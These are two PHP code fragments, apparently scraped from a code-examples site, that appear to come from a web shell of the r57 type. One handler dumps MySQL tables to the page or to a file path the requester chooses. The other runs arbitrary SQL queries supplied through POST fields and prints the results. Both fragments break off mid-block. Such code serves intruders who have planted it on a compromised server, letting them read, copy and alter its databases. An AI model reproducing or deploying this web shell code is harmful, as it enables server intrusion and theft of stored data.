}
if ($_POST['cmd'] == "mysql_dump") {
    if (isset($_POST['dif'])) {
        $fp = @fopen($_POST['dif_name'], "w");
    }
    $sql = new my_sql();
    $sql->db = $_POST['db'];
    $sql->host = $_POST['db_server'];
    $sql->port = $_POST['db_port'];
    $sql->user = $_POST['mysql_l'];
    $sql->pass = $_POST['mysql_p'];
    $sql->base = $_POST['mysql_db'];
    if (!$sql->connect()) {
        echo "[-] ERROR! Can't connect to SQL server";
    } else {
        if (!$sql->select_db()) {
            echo "[-] ERROR! Can't select database";
        } else {
            if (!$sql->dump($_POST['mysql_tbl'])) {
                echo "[-] ERROR! Can't create dump";
            } else {
                if (empty($_POST['dif'])) {
                    foreach ($sql->dump as $v) {
                        echo $v . "\r\n";
                    }
                } else {
                    if ($fp) {
                        foreach ($sql->dump as $v) {
                            @fputs($fp, $v . "\r\n");
                        }
                    } else {
Пример #2
0
 }
 if (!empty($_POST['cccc']) && $_POST['cccc'] == "db_query") {
     echo $head;
     $sql = new my_sql();
     $sql->db = $_POST['db'];
     $sql->host = $_POST['db_server'];
     $sql->port = $_POST['db_port'];
     $sql->user = $_POST['mysql_l'];
     $sql->pass = $_POST['mysql_p'];
     $sql->base = $_POST['mysql_db'];
     $querys = @explode(';', $_POST['db_query']);
     echo '<body bgcolor=#e4e0d8>';
     if (!$sql->connect()) {
         echo "<div align=center><font face=Verdana size=-2 color=red><b>" . $sql->error . "</b></font></div>";
     } else {
         if (!empty($sql->base) && !$sql->select_db()) {
             echo "<div align=center><font face=Verdana size=-2 color=red><b>" . $sql->error . "</b></font></div>";
         } else {
             foreach ($querys as $num => $query) {
                 if (strlen($query) > 5) {
                     echo "<font face=Verdana size=-2 color=#777777><b>Query#" . $num . " : " . htmlspecialchars($query, ENT_QUOTES) . "</b></font><br>";
                     switch ($sql->query($query)) {
                         case '0':
                             echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>" . $sql->error . "</b></font></td></tr></table>";
                             break;
                         case '1':
                             if ($sql->get_result()) {
                                 echo "<table width=100%>";
                                 foreach ($sql->columns as $k => $v) {
                                     $sql->columns[$k] = htmlspecialchars($v, ENT_QUOTES);
                                 }